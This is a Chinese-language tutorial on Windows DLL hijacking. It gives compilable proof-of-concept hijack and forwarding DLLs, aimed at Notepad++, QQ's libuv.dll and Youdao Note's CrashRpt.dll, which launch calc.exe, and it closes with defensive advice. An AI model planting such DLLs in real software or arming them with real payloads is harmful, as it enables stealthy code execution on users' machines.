初探dll劫持
字数 1854 2025-08-09 13:33:40
DLL劫持技术全面解析与实战指南
一、DLL基础概念
1.1 DLL定义与作用
DLL(Dynamic Link Library)即动态链接库文件,是Windows系统中的"应用程序拓展"。它将应用程序分割成相对独立的功能模块,多个程序可共享相同的DLL实现相似功能(如窗口管理、内存分配、文件操作等)。
1.2 DLL加载机制
Windows通过以下两种机制确定DLL加载路径:
DLL路径搜索目录顺序
- 程序所在目录
- 程序加载目录(SetCurrentDirectory)
- 系统目录(SYSTEM32)
- 16位系统目录(SYSTEM)
- Windows目录
- PATH环境变量中列出的目录
Know DLLs注册表项
- 路径:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs - 特点:这些DLL在应用程序运行后已加载到内核空间,多个进程共享,修改需要高权限
二、DLL劫持技术原理
2.1 基本概念
利用Windows DLL搜索顺序的特性,将恶意DLL放置在合法DLL之前的搜索路径中,使程序优先加载恶意DLL而非合法DLL。
2.2 关键判断条件
- 目标DLL不在Know DLLs列表中
- 目标DLL使用
LoadLibrary或LoadLibraryEx动态加载 - 目标DLL的调用栈中存在
LoadLibrary(Ex)调用
三、手动DLL劫持实战
3.1 劫持应用中不存在的DLL
实验环境:Notepad++ 6.6.6(注意高版本可能已修复漏洞)
工具准备:
- Procmon.exe:用于监控DLL加载行为
- Visual Studio 2019:编译恶意DLL
步骤:
- 使用Procmon设置过滤条件(进程名、路径、结果)
- 查找使用
LoadLibrary加载的DLL - 编写恶意DLL(示例弹出计算器):
#include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("calc.exe");
break;
}
return TRUE;
}
- 将编译的DLL放入Notepad++根目录
- 运行程序触发劫持
3.2 劫持应用中存在的DLL
关键点:
- 需要分析目标DLL的导出函数
- 处理函数重命名问题(Name-Mangling)
解决方案:
- 使用
extern "C"防止C++编译器改编函数名 - 实现所有必要的导出函数
示例代码:
#include "pch.h"
#include <stdlib.h>
extern "C" __declspec(dllexport) void Scintilla_DirectFunction();
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void Scintilla_DirectFunction() {
system("calc.exe");
}
3.3 DLL转发技术
当直接劫持导致程序出错时,可使用DLL转发技术保留原DLL功能。
实现方式:
- 将原DLL重命名(如
SciLexer_re.dll) - 创建转发DLL,在
DllMain中执行恶意代码 - 转发调用到原DLL
示例代码:
#include "pch.h"
#include <stdlib.h>
extern "C" __declspec(dllexport) void Scintilla_DirectFunction();
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("calc");
break;
}
return TRUE;
}
void Scintilla_DirectFunction() {
HINSTANCE hDll = LoadLibrary(L"SciLexer_re.dll");
if (hDll) {
typedef DWORD(WINAPI* EXPFUNC)();
EXPFUNC expFunc = NULL;
expFunc = (EXPFUNC)GetProcAddress(hDll, "Scintilla_DirectFunction");
if (expFunc) {
expFunc();
}
}
return;
}
四、工具辅助DLL劫持
4.1 使用CFF Explorer分析目标程序
- 检查目标程序(如QQ.exe)的导入表
- 选择不在Know DLLs列表中的DLL进行劫持(如
libuv.dll)
4.2 使用AheadLib生成劫持代码
两种模式:
-
直接转发:
- 生成转发代码,所有导出函数转发到原DLL
- 示例转发代码:
#pragma comment(linker, "/EXPORT:uv_udp_open=libuvOrg.uv_udp_open,@195") -
即时调用:
- 生成代码在调用时动态加载原DLL
- 关键代码结构:
#pragma comment(linker, "/EXPORT:uv_async_init=_AheadLib_uv_async_init,@2") // 函数实现中使用__asm jmp跳转到原DLL函数地址
实施步骤:
- 使用AheadLib生成劫持代码
- 创建VS DLL项目并添加生成代码
- 在DLL入口点添加恶意代码
- 将原DLL重命名(如
libuvOrg.dll) - 将恶意DLL放入目标目录
五、白加黑攻击技术
5.1 基本概念
利用合法EXE(白文件)加载恶意DLL(黑文件)的攻击方式。
5.2 实施步骤
- 选择目标程序(如有道云笔记)
- 查找不在Know DLLs中且使用
LoadLibrary加载的DLL(如CrashRpt.dll) - 分析导出函数(如
RptCleanup等) - 实现所有导出函数的恶意DLL
示例代码:
#include "pch.h"
#include <windows.h>
#include <stdlib.h>
extern "C" __declspec(dllexport) void RptCleanup();
extern "C" __declspec(dllexport) void RptSetAdditionalInfo();
extern "C" __declspec(dllexport) void RptNcThreadListAddCurrent();
extern "C" __declspec(dllexport) void RptInitializeWithDefaultSettingsWithVersion();
void RptCleanup() { system("calc"); }
void RptSetAdditionalInfo() {}
void RptNcThreadListAddCurrent() {}
void RptInitializeWithDefaultSettingsWithVersion() {}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
六、防御措施
-
应用程序防御:
- 使用绝对路径加载DLL
- 检查DLL数字签名
- 使用
SetDefaultDllDirectories限制DLL搜索路径
-
系统防御:
- 启用DLL搜索顺序安全策略
- 监控Know DLLs注册表项变更
- 使用杀毒软件检测异常DLL加载行为
-
开发规范:
- 避免使用
LoadLibrary加载非系统DLL - 对关键DLL进行完整性校验
- 使用最新版本开发工具和安全补丁
- 避免使用
七、总结
DLL劫持是一种利用Windows DLL加载机制的安全漏洞攻击技术,通过本文介绍的手动和工具辅助方法,安全研究人员可以深入理解其原理并实施防御措施。在实际应用中,应严格遵守安全开发规范,防止此类攻击的发生。